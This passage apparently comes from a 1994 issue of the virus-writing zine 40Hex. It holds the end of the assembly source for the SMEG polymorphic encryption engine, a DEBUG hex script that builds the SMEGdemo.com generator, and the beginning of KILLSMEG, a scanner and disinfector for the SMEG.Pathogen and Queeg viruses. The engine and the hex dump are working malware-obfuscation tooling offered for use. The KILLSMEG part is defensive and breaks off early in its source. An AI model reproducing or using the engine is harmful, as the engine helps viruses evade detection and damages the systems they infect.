counterinit3: add ax,ax
retn
counterinit4: neg ax
counterinit5: mov cx,ax
add ax,ax
add ax,cx
retn
counterinit6: neg ax
counterinit7: add ax,ax
add ax,ax
retn
jmp0: mov al,0E9 ; encode a JMP
stosb ; (with word offset)
mov ax,di ; calculate offset to
sub ax,[bp.loop_top] ; top of decryption loop
inc ax ; adjust for jmp instruction
inc ax
neg ax ; adjust for going back instead
retn ; of forwards
jmp1: mov ax,0E0FF ; encode JMP register
or ah,[si]
retn
jmp2: mov ax,0C350 ; encode PUSH/RETn
jmpXdone: or al,[si]
retn
jmp3: mov al,0E ; encode PUSH CS
stosb
call garble_some ; garble a bit
mov ax,0CB50 ; encode PUSH reg/RETN
jmp short jmpXdone
encode_routine: call rnd_get ; pick a random routine
mov bx,offset routine_table ; to use
and ax,0F
add ax,ax
add bx,ax
mov si,[bx]
lodsb ; get the first byte
mov [bp.crypt_type],al ; and save it
jmp short encode_routine2 ; keep going...
encode_it: lodsb ; get the next byte
cmp ah,-1 ; are we done?
je use_as_is ; if so, exit
xor bh,bh ; convert AL to
add al,al ; offset in encode_table
mov bl,al
add bx,offset encode_table
mov al,dh
mov cx,3
call word ptr [bx] ; call the routine
xchg ah,al
stosb ; write the resulting byte
use_as_is: retn
fill_mod_field: ror al,cl
fill_field: and al,7 ; get the register # al
mov bx,bp
db 83,0C3,06 ; add bx,6
xlat
rol al,cl
and cl,cl ; encoding rm or reg?
jnz not_memory ; branch if doing rm
test dh,40 ; memory access?
jz not_memory
cmp al,3 ; using bx?
jne not_BX
mov al,7 ; change it to di
jmp short not_memory
not_BX: cmp al,6 ; is it si?
jb not_memory
sub al,2 ; change it to double register
not_memory: or ah,al
retn
fill_reg_reg1: ror al,cl ; [reg], reg
fill_reg_field: xor cl,cl ; fill bottom 3 bits only
jmp short fill_field
fill_mod_n_reg: call fill_mod_field ; fill mod field as usual
mov al,dh ; fill reg field with the
jmp short fill_reg_field ; register that holds the
; data to be decrypted
fill_reg_reg2: call fill_field
mov al,dh
jmp short fill_reg_reg1
encode_routine2:mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
process_all: lodsb ; get a byte
cmp al,-1 ; are we at the end?
jne process_byte ; no, keep going
lodsb ; else get returncode and exit
retn
process_byte: push si ax
mov cl,4
call process_nibble
xor cl,cl
pop ax
call process_nibble
pop si
jmp short process_all
process_nibble: ror al,cl ; only use the part of
and ax,0F ; the byte that we want
jnz no_switch_table
and cl,cl ; if the lower half of byte=0,
jz switch_tables ; switch tables
mov [bp.loop_top],di ; otherwise save this location
retn ; as the top of the loop
switch_tables: mov word ptr [bp.which_tbl],offset encode_tbl2 - 6
retn
no_switch_table:push ax
call garble_more
pop ax
add ax,ax ; calculate AX*6+[bp.which_tbl]
mov bx,ax
add ax,ax
add ax,bx
add ax,[bp.which_tbl]
mov word ptr [bp.which_tbl],offset encode_tbl1 - 6
xchg si,ax
lodsb
mov dh,al ; dh holds first byte
lodsb
xchg ah,al ; ah holds second byte
call encode_it ; process it
lodsb ; now ah holds the next byte
xchg ah,al
call encode_it ; process it
lodsb ; get the next byte
mov dl,al ; it tells us which
and ax,0F ; value to write in
add ax,ax ; this is the modifier
add ax,offset write_table ; i.e. pointer, encryption
xchg bx,ax ; value, etc.
jmp word ptr [bx]
write_nothing: retn
write_cryptval: mov al,[bp.cryptval]
stosb
retn
write_pointer_patch: ; save location of pointer initialisation
mov [bp.pointer_patch],di
stosw
retn
write_counter_patch: ; save location of counter initialisation
mov [bp.counter_patch],di
stosw
retn
write_ptr_offset: ; write XXXX of [bx+XXXX]
mov ax,[bp.ptr_offsets]
mov [bp.pointer_fixup],ax
stosw
retn
write_dl: mov al,dl ; write lower half of top
mov cl,4 ; byte of dl as a word
shr al,cl ; used as amount to increment
and ax,0F
stosw
retn
garble_some: push si
mov dx,3 ; garble 2-5 times
call multiple_garble
pop si
retn
garble_more: mov dx,7
multiple_garble:call rnd_get
and ax,dx
inc ax
inc ax
xchg cx,ax
garble_again: push cx ; save garble count
call garble_once ; garble
pop cx ; restore garble count
loop garble_again
cmp [bp.cJMP_patch],cx ; cJMP_patch == 0? i.e. is
je skip_finish_cJMP ; there an unfinished cJMP?
call finish_cJMP ; if so, finish it
skip_finish_cJMP:call many_nonbranch_garble ; garble garble
mov bx,[bp.nJMP_patch] ; check if pending nJMP
and bx,bx
jnz loc_0047 ; if so, keep going
retn
loc_0047: ; xref 4028:0996
mov al,0C3 ; encode a RETN
stosb
mov ax,di
sub ax,bx
dec ax
dec ax
mov [bx],ax
mov [bp.CALL_patch],bx
mov word ptr [bp.nJMP_patch],0
many_nonbranch_garble:
call rnd_get ; do large instruction
and ax,3 ; garble from 3 to 6 times
add al,3
xchg cx,ax
many_nonbranch_garble_loop:
push cx
call not_branch_garble
pop cx
loop many_nonbranch_garble_loop
retn
; finish_cJMP simply encodes a few instructions between the conditional
; jmp and its target, and then sets the destination of the jmp to be after
; the inserted instructions.
finish_cJMP: mov ax,di ; get current location
mov bx,[bp.cJMP_patch] ; get previous location
sub ax,bx
dec al ; calculate offset
jnz go_patch_cJMP ; if nothing in between,
call not_branch_garble ; fill in some instructions
jmp short finish_cJMP ; and do this again
go_patch_cJMP: cmp ax,7F ; are we close enough?
jbe patch_cJMP ; if so, finish this now
xor al,al ; if not, encode cJMP $+2
patch_cJMP: mov [bx],al ; patch the cJMP destination
mov word ptr [bp.cJMP_patch],0 ; clear usage flag
retn
set_reg_mask: and cl,0F8 ; clear bottom 3 bits
mov bx,bp
db 83,0C3,6 ; add bx,6
mov dh,7 ; assume one of 8 registers
test dl,4 ; can we use any register?
jnz set_reg_mask_exit ; if so, quit
db 83,0C3,3 ; add bx,3 ; otherwise, set mask so we
mov dh,3 ; only choose from regs 3-6
set_reg_mask_exit:
retn
choose_register:call rnd_get ; get random number
xor ah,ah ; clear high byte
and al,dh ; use mask from set_reg_mask
add bx,ax
mov al,[bx] ; get the register number
test ch,1 ; byte or word register?
jnz choose_reg_done ; if word, we are okay
test byte ptr [si-2],4 ; otherwise, check if we can
jnz choose_reg_done ; take only half the register
mov ah,al ; uh oh, we can't, so...
and al,3 ; is it one of the garbage
cmp al,[bp+9] ; registers?
mov al,ah ; if so, we are done
jz choose_reg_done
mov al,[bp+9]
cmp al,4 ; ax,cx,dx, or bx?
jb werd ; to yer muthah!
pop ax ; pop off return location
retn ; go to caller's caller
werd: and ah,4 ; make either byte or word
or al,ah ; register
choose_reg_done:retn
garble_once: call rnd_get
cmp ah,0C8 ; randomly go to either
jbe other_garble ; here ...
jmp branch_garble ; ... or here
not_branch_garble:
call rnd_get
other_garble: cmp al,0F0
jbe larger_instr ; mostly do larger instructions
jmp do_one_byte ; 1/16 chance
larger_instr: and ax,1F ; normalise random number
cmp al,[bp.lastgarble] ; is it the same as before?
je not_branch_garble ; then try again, since we
; don't want two of the same
; sort in a row
mov [bp.lastgarble],al ; else remember this one
add ax,ax ; and process it
add ax,offset garble_table
xchg si,ax
lodsw ; get table entry
xchg cx,ax ; keep it in CX
mov dl,cl ; pick out the bottom
and dl,3 ; mask out low 2 bits
call rnd_get
and al,3 ; this line unnecessary
and al,dl ; patch it into the top
or ch,al ; byte for variable opcodes
; (e.g. allows byte & word
; forms of opcode to use the
; same table entry)
mov dl,cl
and dl,0C0 ; mask out mod field
cmp dl,0C0 ; does it indicate register
mov dl,cl ; operation? i.e. 2 regs
jz no_memory ; if so, branch
call set_reg_mask ; otherwise, process memory
call rnd_get ; and register operation
and al,0C0 ; clear all but top 2 bits
or cl,al ; fill in the field
rol al,1
rol al,1
mov dl,al
call rnd_get ; generate the registers to use
and al,7 ; in memory access,i.e. [bx+si]
or cl,al ; patch into 2nd byte of instr
cmp dl,3
je fill_in_rm
cmp al,6
jne force_byte
mov dl,2 ; alter mask to choose AX or DX
and cl,3F
jmp short fill_in_rm
force_byte: and ch,not 1 ; change to byte data
; "byte sized"
fill_in_rm: call choose_register ; move register into
shl al,1 ; the rm field
shl al,1
shl al,1
finish_larger: or cl,al ; combine data
xchg cx,ax ; move it to the right register
xchg ah,al ; reverse byte order
stosw ; write the instruction
and dl,dl ; needs data bytes?
jnz needs_data
retn
needs_data: cmp dl,3 ; check length of instruction
jne do_data_bytes
retn
do_data_bytes: call rnd_get ; keep the random number
and al,3F ; under 40h
stosb ; write the byte
dec dl ; decrement bytes to write
jnz do_data_bytes
retn
no_memory: call set_reg_mask
call choose_register
mov ah,ch ; get the opcode and clear the
and ah,0FE ; size bit for now
cmp ah,0F6
jne not_NOT_NEG
test cl,10 ; is it TEST instruction?
jz not_NOT_NEG ; if it is, go find the number
; of data bytes it needs, else
; it is NOT or NEG, so there're
no_data_bytes: xor dl,dl ; no data bytes
jmp short finish_larger
not_NOT_NEG: and ah,0FC ; is it a shift or rotate?
cmp ah,0D0
jne set_data_length ; if not, calculate # data
; bytes needed, else
jmp short no_data_bytes ; we don't need any
set_data_length:test ch,1 ; byte or word of data?
mov dl,2 ; assume word
jnz finish_larger ; continue if so
dec dl ; DEC DX is better!!!
jmp short finish_larger ; otherwise adjust to data
do_one_byte: and al,7
mov bx,offset onebyte_table
xlat
cmp al,48 ; DEC?
je inc_or_dec
cmp al,40 ; or INC?
jne encode_1byte
inc_or_dec: mov cl,al
call rnd_get ; get a garbage register
and al,3
mov bx,bp ; can we say "lea", boys and
db 83,0C3,9 ; add bx,9 ; girls?
xlat ; look up the register
or al,cl ; fill in the register field
encode_1byte: stosb
retn
branch_garble: cmp word ptr [bp.cJMP_patch],0 ; is there an unfinished
je no_pending_cJMP ; conditional jmp?
jmp finish_cJMP ; if so, finish it
no_pending_cJMP:call rnd_get
cmp ah,6E
ja do_near_JMP
do_cond_jmp: and al,0F ; encode a conditional
or al,70 ; jmp
stosb
mov [bp.cJMP_patch],di ; save target offset
stosb
retn
do_near_JMP: cmp word ptr [bp.nJMP_patch],0 ; is there an unfinished
jne do_cond_jmp ; near JMP pending?
call rnd_get ; if not, encode one
cmp al,78 ; either just jmp past
jbe encode_CALL ; or call it too
mov al,0E9 ; encode near JMP
stosb
mov [bp.nJMP_patch],di ; save location to patch
stosw
call rnd_get
cmp al,0AA
jbe forward_CALL
go_not_branch_garble:
jmp not_branch_garble
forward_CALL: cmp word ptr [bp.last_CALL],0 ; is there a garbage CALL
je go_not_branch_garble ; we can patch?
push di ; if there is, patch the CALL
xchg di,ax ; for here so there are CALLs
dec ax ; forwards as well as back-
dec ax ; wards
mov di,[bp.last_CALL]
sub ax,di
stosw
pop di
jmp not_branch_garble
encode_CALL: cmp word ptr [bp.CALL_patch],0 ; is there one pending?
je do_cond_jmp
mov al,0E8 ; encode a CALL
stosb
cmp word ptr [bp.last_CALL],0
je store_CALL_loc
call rnd_get ; 1/2 chance of replacing
and al,7 ; it (random so it's not
cmp al,4 ; too predictable)
jae fill_in_offset
store_CALL_loc: mov [bp.last_CALL],di ; save ptr to CALL offset
fill_in_offset: mov ax,di ; calculate CALL offset
sub ax,[bp.CALL_patch]
neg ax
stosw
retn
rnd_init: mov ah,2C ; get time
int 21
mov ax,3E1
mul dx
add ax,cx
xchg cx,ax
in ax,40 ; timer port
add ax,cx
mov [bp.rng_buffer],ax
retn
rnd_get: push bx cx dx
mov ax,[bp.rng_buffer]
mov cx,3E1
mul cx
mov cx,ax
xor dx,dx
mov bx,35
div bx
add dx,cx
js no_fix_seed1
in ax,40 ; port 40, 8253 timer 0 clock
add dx,ax
no_fix_seed1: cmp dx,[bp.rng_buffer]
jne no_fix_seed2
neg dx
in ax,40 ; port 40, 8253 timer 0 clock
xor dx,ax
no_fix_seed2: mov [bp.rng_buffer],dx
xchg dx,ax
pop dx cx bx
retn
heap:
data_area db 02dh dup (?)
target_area:
end SMEG_demo
-------------------------------
N SMEGdemo.com
E 0100 E9 C5 01 30 30 30 30 2E 43 4F 4D 00 53 4D 45 47
E 0110 20 76 30 2E 33 2E 20 20 47 65 6E 65 72 61 74 69
E 0120 6F 6E 20 44 69 66 66 65 72 65 6E 63 65 20 44 65
E 0130 6D 6F 6E 73 74 72 61 74 69 6F 6E 0D 0A 09 20 20
E 0140 20 28 43 29 20 54 68 65 20 42 6C 61 63 6B 20 42
E 0150 61 72 6F 6E 20 31 39 39 34 0D 0A 0A 0A 53 45 4C
E 0160 45 43 54 20 54 48 45 20 4E 55 4D 42 45 52 20 4F
E 0170 46 20 47 45 4E 45 52 41 54 49 4F 4E 53 3A 0D 0A
E 0180 0A 31 20 20 2D 2D 20 20 31 30 20 20 20 20 20 47
E 0190 65 6E 65 72 61 74 69 6F 6E 73 0D 0A 32 20 20 2D
E 01A0 2D 20 20 31 30 30 20 20 20 20 20 20 20 20 22 22
E 01B0 0D 0A 33 20 20 2D 2D 20 20 31 30 30 30 20 20 20
E 01C0 20 20 20 20 22 22 0D 0A 34 20 20 2D 2D 20 20 31
E 01D0 30 30 30 30 20 20 20 20 20 20 22 22 20 20 20 20
E 01E0 20 20 20 20 28 4C 61 72 67 65 20 48 44 60 73 20
E 01F0 4F 6E 6C 79 21 21 29 24 20 31 30 20 24 20 31 30
E 0200 30 20 24 20 31 30 30 30 20 24 20 31 30 30 30 30
E 0210 20 24 0D 0A 0A 0A 47 65 6E 65 72 61 74 69 6E 67
E 0220 24 45 78 65 63 75 74 61 62 6C 65 20 2E 43 4F 4D
E 0230 20 47 65 6E 65 72 61 74 69 6F 6E 73 2C 20 50 6C
E 0240 65 61 73 65 20 57 61 69 74 2E 2E 2E 24 0D 0A 0A
E 0250 44 4F 4E 45 21 20 20 4E 6F 77 20 65 78 61 6D 69
E 0260 6E 65 20 65 61 63 68 2C 20 61 6E 64 20 6E 6F 74
E 0270 65 20 68 6F 77 20 64 69 66 66 65 72 65 6E 74 20
E 0280 74 68 65 79 20 61 72 65 21 0D 0A 0A 07 24 0D 0A
E 0290 0A 53 4F 52 52 59 21 20 20 41 20 64 69 73 6B 20
E 02A0 65 72 72 6F 72 20 68 61 73 20 6F 63 63 75 72 72
E 02B0 65 64 21 0D 0A 0A 07 24 0A 00 F8 01 64 00 FD 01
E 02C0 E8 03 03 02 10 27 0A 02 B8 03 00 CD 10 BA 0C 01
E 02D0 B4 09 CD 21 B8 07 0C CD 21 3C 31 72 F7 3C 34 77
E 02E0 F3 2C 31 32 E4 03 C0 03 C0 05 B8 02 93 53 BA 12
E 02F0 02 B4 09 CD 21 5B 8B 0F 51 8B 57 02 CD 21 BA 21
E 0300 02 CD 21 59 51 BD B3 0B BF E0 0B BA 89 03 B9 4A
E 0310 00 B8 00 01 E8 BC 00 B4 5B BA 03 01 33 C9 CD 21
E 0320 73 09 E8 5C 00 59 B8 FF 4C CD 21 93 B4 40 8B 4E
E 0330 27 BA E0 0B CD 21 73 09 E8 46 00 B4 3E CD 21 EB
E 0340 E4 E8 A9 04 B4 40 8B 4E 00 BA E0 0B CD 21 72 E8
E 0350 E8 FA 01 B4 40 CD 21 72 DF B4 3E CD 21 72 C3 BB
E 0360 06 01 B9 04 00 FE 07 80 3F 3A 72 06 80 2F 0A 4B
E 0370 E2 F3 59 E2 8F BA 4D 02 B4 09 CD 21 B8 00 4C CD
E 0380 21 BA 8E 02 B4 09 CD 21 C3 E8 3D 00 0D 0A 54 68
E 0390 69 73 20 77 61 73 20 64 65 63 72 79 70 74 65 64
E 03A0 20 77 69 74 68 20 61 20 53 4D 45 47 20 76 30 2E
E 03B0 33 20 67 65 6E 65 72 61 74 65 64 20 64 65 63 72
E 03C0 79 70 74 6F 72 21 0D 0A 24 5A B4 09 CD 21 B8 00
E 03D0 4C CD 21 89 4E 00 89 56 02 89 7E 04 53 56 8B DD
E 03E0 83 C3 06 B9 2D 00 53 88 2F 43 E2 FB 89 46 1C E8
E 03F0 7E 07 BB 6A 05 E8 8C 07 24 1F D7 5B B9 04 00 32
E 0400 D2 D0 D0 D0 D2 D0 D0 D0 D2 88 17 43 E2 F1 C6 07
E 0410 05 43 43 E8 6E 07 D0 C0 24 01 04 06 88 07 34 01
E 0420 80 7F FD 03 75 05 88 47 FD B0 03 88 47 01 8A 47
E 0430 FD 88 47 FF E8 4D 07 32 C4 74 F9 88 46 10 E8 43
E 0440 07 0C 01 89 46 11 E8 27 07 25 FF 03 05 80 00 89
E 0450 46 25 33 C0 04 53 4D 45 47 04 AE FC 2B F8 E8 23
E 0460 07 25 03 00 04 03 91 51 E8 09 05 E8 16 07 3C 8C
E 0470 76 11 25 03 00 05 D2 05 96 B4 B4 AC 86 E0 AB B8
E 0480 CD 21 AB 59 E2 E1 B0 E8 AA 57 AB E8 E6 04 B0 E9
E 0490 AA 5B 57 AB 57 58 48 48 2B C3 89 07 E8 D5 04 B0
E 04A0 C3 AA 5B 57 58 48 48 2B C3 89 07 E8 CC 03 8B F5
E 04B0 83 C6 08 22 C0 75 02 4E 4E B0 75 AA 47 57 E8 AA
E 04C0 04 5B B0 E9 AA 57 47 47 8B C7 2B C3 88 47 FF E8
E 04D0 99 04 E8 AF 06 25 03 00 03 C0 74 14 50 B0 B8 0A
E 04E0 04 AA 8B 46 13 2B 46 04 03 46 1C AB E8 7C 04 58
E 04F0 05 C5 07 93 FF 17 AB 5B 8B C7 2B C3 48 48 89 07
E 0500 E8 71 04 8B C7 2B 46 04 24 0F 74 11 3C 0C 77 05
E 0510 E8 19 05 EB EE E8 6C 06 E8 C5 05 EB E6 8B C7 2B
E 0520 46 04 89 46 27 03 46 1C 8B 4E 19 2B C1 8B 5E 15
E 0530 89 07 8A 5E 1B B1 03 D2 CB 83 E3 0F 81 C3 D6 05
E 0540 8B 46 00 FF 17 8B 5E 17 89 07 5E 5B C3 8B 4E 25
E 0550 8B 7E 04 51 57 E8 2C 06 AA E2 FA 5A 59 C3 48 09
E 0560 49 09 4E 09 53 09 58 09 60 09 1B C6 B1 6C E4 39
E 0570 4E 93 4B D2 B4 2D E1 78 1E 87 27 C9 72 9C D8 36
E 0580 8D 63 E4 2D 27 1E C6 87 D2 72 48 40 F8 FC F5 F9
E 0590 40 48 F1 80 01 32 C1 F6 05 84 E9 80 01 2A EB D0
E 05A0 01 1A D9 80 D1 80 FB D0 E3 D0 CB D0 C3 D0 05 84
E 05B0 DB D0 C1 C6 C9 80 01 0A D1 F6 D9 F6 01 8A C1 C6
E 05C0 01 02 C1 80 FD 80 07 38 E1 80 D3 D0 01 22 01 12
E 05D0 01 8A 19 2A 2C 30 3E 08 40 08 41 08 43 08 46 08
E 05E0 48 08 4F 08 51 08 A9 08 AA 08 AC 08 D0 08 D2 08
E 05F0 D6 08 DD 08 08 8C 00 C8 04 00 08 8E 00 D8 04 00
E 0600 07 B8 04 FF 00 02 01 B8 04 FF 00 03 57 8A 00 80
E 0610 05 04 57 88 00 80 05 04 02 80 00 F0 04 01 11 8B
E 0620 00 C0 05 00 78 30 00 00 06 00 47 F6 00 98 04 04
E 0630 47 F6 00 90 04 04 07 40 04 FF 00 00 01 48 04 FF
E 0640 00 00 08 B0 04 FF 00 01 10 33 00 C0 05 00 47 86
E 0650 00 80 05 04 08 40 04 FF 00 00 08 48 04 FF 00 00
E 0660 07 81 00 C0 04 15 01 81 00 E8 04 15 10 02 00 C0
E 0670 05 00 10 2A 00 C0 05 00 47 FB 04 B0 04 04 47 8F
E 0680 00 80 04 04 08 50 04 FF 00 00 08 58 04 FF 00 00
E 0690 10 87 00 C0 05 00 02 40 04 FF 00 00 08 8B 00 C0
E 06A0 05 00 09 23 00 C0 05 00 10 13 24 EF 05 F0 26 CD
E 06B0 FF 71 34 12 EE 0D AD 5F 60 30 40 50 30 50 FF 42
E 06C0 43 10 CE E0 C2 00 1F 68 80 D0 D0 D0 30 C0 E0 40
E 06D0 F0 FF 00 33 14 23 EE 0D DB 5F 6F C0 20 20 F0 FF
E 06E0 64 41 2E 3F 09 80 C0 20 D0 20 40 20 20 E0 D0 C0
E 06F0 F0 FF 05 13 42 EF 0D 70 A0 80 B0 C0 B0 A0 76 C8
E 0700 80 D0 D0 C0 E0 B0 20 F0 FF 56 34 12 2E 05 D0 66
E 0710 80 3F DC D0 FF 27 41 32 EF 09 F0 40 A8 D0 D0 D0
E 0720 C0 E0 B0 30 F0 FF 32 41 32 E0 C0 08 D0 BF 60 30
E 0730 C0 4D FF 00 11 43 12 EF 0A 5F D0 30 30 C0 10 C0
E 0740 40 F0 FF 66 31 42 EF 00 A0 88 80 C0 20 20 20 20
E 0750 E0 B0 C0 B0 60 A0 C0 A0 90 B0 3C F0 F0 FF 04 12
E 0760 E8 43 08 D0 D0 C0 E0 C9 C0 20 20 F0 FF 73 31 42
E 0770 E4 0D DD B0 A0 80 B0 C0 BF 60 20 40 20 50 FF 20
E 0780 E0 C1 32 40 00 10 CF D0 C0 10 C8 C0 D0 D0 D0 20
E 0790 C0 E0 F0 FF 00 55 43 12 E3 05 D0 70 20 56 CD FF
E 07A0 47 E3 40 C1 20 00 80 B0 CF 68 D0 30 D0 D0 D0 C0
E 07B0 E0 40 F0 FF 00 11 08 26 08 16 08 1D 08 1F 08 2F
E 07C0 08 34 08 39 08 56 08 63 08 69 08 6F 08 7F 07 BF
E 07D0 06 F2 06 5E 07 A8 06 34 07 95 07 26 07 B1 06 15
E 07E0 07 A0 07 43 07 D3 06 6D 07 E0 06 09 07 FC 53 56
E 07F0 8A 5E 1B 83 E3 0F 03 DB 81 C3 B5 07 8B 7E 04 8B
E 0800 76 02 8B 4E 00 8A 56 10 AC FF 17 AA E2 FA 5E 5B
E 0810 C3 32 C2 FE C2 C3 32 D0 8A C2 FE CA C3 F6 D0 32
E 0820 C2 FE C2 FE C2 C3 32 C2 F6 D8 FE CA FE CA C3 02
E 0830 C2 FE C2 C3 2A C2 FE CA C3 32 C2 FE CA C3 F7 D8
E 0840 C3 F7 D8 03 C0 C3 F7 D8 8B C8 03 C0 03 C1 C3 F7
E 0850 D8 03 C0 03 C0 C3 B0 E9 AA 8B C7 2B 46 13 40 40
E 0860 F7 D8 C3 B8 FF E0 0A 24 C3 B8 50 C3 0A 04 C3 B0
E 0870 0E AA E8 F6 00 B8 50 CB EB F2 E8 07 03 BB CD 07
E 0880 25 0F 00 03 C0 03 D8 8B 37 AC 88 46 1B EB 55 AC
E 0890 80 FC FF 74 14 32 FF 02 C0 8A D8 81 C3 E6 05 8A
E 08A0 C6 B9 03 00 FF 17 86 E0 AA C3 D2 C8 24 07 8B DD
E 08B0 83 C3 06 D7 D2 C0 22 C9 75 13 F6 C6 40 74 0E 3C
E 08C0 03 75 04 B0 07 EB 06 3C 06 72 02 2C 02 0A E0 C3
E 08D0 D2 C8 32 C9 EB D6 E8 D1 FF 8A C6 EB F5 E8 CC FF
E 08E0 8A C6 EB EC C7 46 2B EE 05 AC 3C FF 75 02 AC C3
E 08F0 56 50 B1 04 E8 09 00 32 C9 58 E8 03 00 5E EB E9
E 0900 D2 C8 25 0F 00 75 0E 22 C9 74 04 89 7E 13 C3 C7
E 0910 46 2B 48 06 C3 50 E8 5B 00 58 03 C0 8B D8 03 C0
E 0920 03 C3 03 46 2B C7 46 2B EE 05 96 AC 8A F0 AC 86
E 0930 E0 E8 5B FF AC 86 E0 E8 55 FF AC 8A D0 25 0F 00
E 0940 03 C0 05 5E 05 93 FF 27 C3 8A 46 10 AA C3 89 7E
E 0950 15 AB C3 89 7E 17 AB C3 8B 46 11 89 46 19 AB C3
E 0960 8A C2 B1 04 D2 E8 25 0F 00 AB C3 56 BA 03 00 E8
E 0970 05 00 5E C3 BA 07 00 E8 0A 02 23 C2 40 40 91 51
E 0980 E8 9E 00 59 E2 F9 39 4E 1F 74 03 E8 2F 00 E8 1B
E 0990 00 8B 5E 23 23 DB 75 01 C3 B0 C3 AA 8B C7 2B C3
E 09A0 48 48 89 07 89 5E 21 C7 46 23 00 00 E8 D5 01 25
E 09B0 03 00 04 03 91 51 E8 73 00 59 E2 F9 C3 8B C7 8B
E 09C0 5E 1F 2B C3 FE C8 75 05 E8 61 00 EB F0 3D 7F 00
E 09D0 76 02 32 C0 88 07 C7 46 1F 00 00 C3 80 E1 F8 8B
E 09E0 DD 83 C3 06 B6 07 F6 C2 04 75 05 83 C3 03 B6 03
E 09F0 C3 E8 90 01 32 E4 22 C6 03 D8 8A 07 F6 C5 01 75
E 0A00 1F F6 44 FE 04 75 19 8A E0 24 03 3A 46 09 8A C4
E 0A10 74 0E 8A 46 09 3C 04 72 02 58 C3 80 E4 04 0A C4
E 0A20 C3 E8 60 01 80 FC C8 76 06 E9 D3 00 E8 55 01 3C
E 0A30 F0 76 03 E9 AA 00 25 1F 00 3A 46 1E 74 EE 88 46
E 0A40 1E 03 C0 05 92 05 96 AD 91 8A D1 80 E2 03 E8 33
E 0A50 01 24 03 22 C2 0A E8 8A D1 80 E2 C0 80 FA C0 8A
E 0A60 D1 74 4F E8 76 FF E8 1B 01 24 C0 0A C8 D0 C0 D0
E 0A70 C0 8A D0 E8 0E 01 24 07 0A C8 80 FA 03 74 0E 3C
E 0A80 06 75 07 B2 02 80 E1 3F EB 03 80 E5 FE E8 61 FF
E 0A90 D0 E0 D0 E0 D0 E0 0A C8 91 86 E0 AB 22 D2 75 01
E 0AA0 C3 80 FA 03 75 01 C3 E8 DA 00 24 3F AA FE CA 75
E 0AB0 F6 C3 E8 27 FF E8 39 FF 8A E5 80 E4 FE 80 FC F6
E 0AC0 75 09 F6 C1 10 74 04 32 D2 EB CB 80 E4 FC 80 FC
E 0AD0 D0 75 02 EB F2 F6 C5 01 B2 02 75 BA FE CA EB B6
E 0AE0 24 07 BB 8A 05 D7 3C 48 74 04 3C 40 75 0F 8A C8
E 0AF0 E8 91 00 24 03 8B DD 83 C3 09 D7 0A C1 AA C3 83
E 0B00 7E 1F 00 74 03 E9 B5 FE E8 79 00 80 FC 6E 77 0A
E 0B10 24 0F 0C 70 AA 89 7E 1F AA C3 83 7E 23 00 75 F0
E 0B20 E8 61 00 3C 78 76 25 B0 E9 AA 89 7E 23 AB E8 53
E 0B30 00 3C AA 76 03 E9 F4 FE 83 7E 29 00 74 F7 57 97
E 0B40 48 48 8B 7E 29 2B C7 AB 5F E9 E0 FE 83 7E 21 00
E 0B50 74 BE B0 E8 AA 83 7E 29 00 74 09 E8 26 00 24 07
E 0B60 3C 04 73 03 89 7E 29 8B C7 2B 46 21 F7 D8 AB C3
E 0B70 B4 2C CD 21 B8 E1 03 F7 E2 03 C1 91 E5 40 03 C1
E 0B80 89 46 0E C3 53 51 52 8B 46 0E B9 E1 03 F7 E1 8B
E 0B90 C8 33 D2 BB 35 00 F7 F3 03 D1 78 04 E5 40 03 D0
E 0BA0 3B 56 0E 75 06 F7 DA E5 40 33 D0 89 56 0E 92 5A
E 0BB0 59 5B C3
R CX
0AB3
W
Q
-------------------------------
40Hex Number 14 Volume 5 Issue 1 File 002
KILLSMEG (c) 1994 by Stormbringer of Phalcon/Skism
Note: This is an update to an earlier program, KILLQUEEG, which misfired
badly when it encountered SMEG.Pathogen, as Pathogen is functionally
almost IDENTICAL to Queeg and would scan the same in the old program,
but become a disaster on disinfection. KILLSMEG will scan and
disinfect both correctly, as well as most new variants. Variants
that it is not likely to be able to disinfect it will report as
a new variant of SMEG.
DISCLAIMER: Author assumes NO liabilities for any damage this software
might cause. It is not guaraunteed in any way. I have done
my best to make it secure and bug free, but it comes as is.
Use it at your own risk.
This program will find and disinfect the two SMEG viruses from specified
files in current directory. Before using, boot from a CLEAN-WRITE PROTECTED
disk, and make sure you get this program from a reliable source (source
code should be included).
I wrote this as there is currently no shareware/freeware program available
capable of disinfecting this polymorphic virus, or even reliably detecting
it. It also gives insight into one technique that can be used to detect and/
or disinfect polymorphic viruses.
I can be reached via IRC or anywhere else if ya look hard enough ;)
Greets go to: Phalcon/Skism, Trident, Trinity, Hermanni, Frisk, Frans, Jenky,
and all the rest of the virus/anti-virus community.
---------------------------
;KillSMEG (c) 1994 Stormbriner, Phalcon/Skism
;Finds and disinfects the original SMEG viruses (Pathogen and Queeg)
;Author assumes NO responsibility for any damages caused by this program
;or by the SMEG viruses themselves. This utility is simply made to find it,
;and may or may not work as it is supposed to. No garuantees.
;First phase is to look for time signatures. The seconds in any Queeg
;infected file (unless something else has changed timestamp after infection)
;is 56 seconds (1c in bits 0-4 of the time sig). All following Checks are
;done regardless of the time sig check. Pathogen marks infections by making
;the high byte in the date > 0c8h
;Second Phase on each file is to Check if it's an .EXE or a .COM.
;Third phase is to trace the program until an invalid condition is found or
;the virus is detected.
;Finally, the user is asked if s/he wishes to disinfect the virus, and
;the file is cleaned.
Strengths:
; VERY reliable detection rate from my testing.
;
; Currently only free program capable of disinfecting SMEG viruses,
; especially from .EXE files.
;
; Comes with full source code.
;Weaknesses:
; Third phase is slow(!!!), and actually executes part of program,
; although it is careful not to allow detrimental actions to be taken
; (i.e. viruses cannot go memres, etc.)
;
; Only scans current directory using user filemask.
;
; Disinfection will leave some garbage at the end of files,
; as the virus pads its hosts to the paragraph boundaries.
; This will cause self-checking programs to choke.
.model tiny
.radix 16
.code
org 100
start:
ReduceMem:
mov ah,4a
mov bx,(endfinder-start+10f)/10 ;Reduce Memory to that needed
int 21
mov sp,offset TopStack ;Set STack within memory
mov ah,09
mov dx,offset IntroMSG
int 21
cmp byte ptr ds:[80],1
ja CopyFilename
mov ah,09
mov dx,offset Instructions
int 21
mov ax,4c00
int 21
CopyFilename:
mov si,82
mov di,offset Filenamebuf
CopyFN:
lodsb
cmp al,0dh
je doneCFN
stosb
jmp CopyFN
doneCFN:
xor al,al
stosb
ComSearch:
mov ah,4e
mov dx,offset FilenameBuf
mov cx,07
FindFirstNext:
int 21
jnc SearchGood
jmp NoMoreCOMS
SearchGood:
call notifycheck
mov cx,ds:[96]
and cl,1f
cmp cl,1c ;Check time stamp (56 seconds)
jne AfterTimeCheck1
call SuspiciousTime
AfterTimeCheck1:
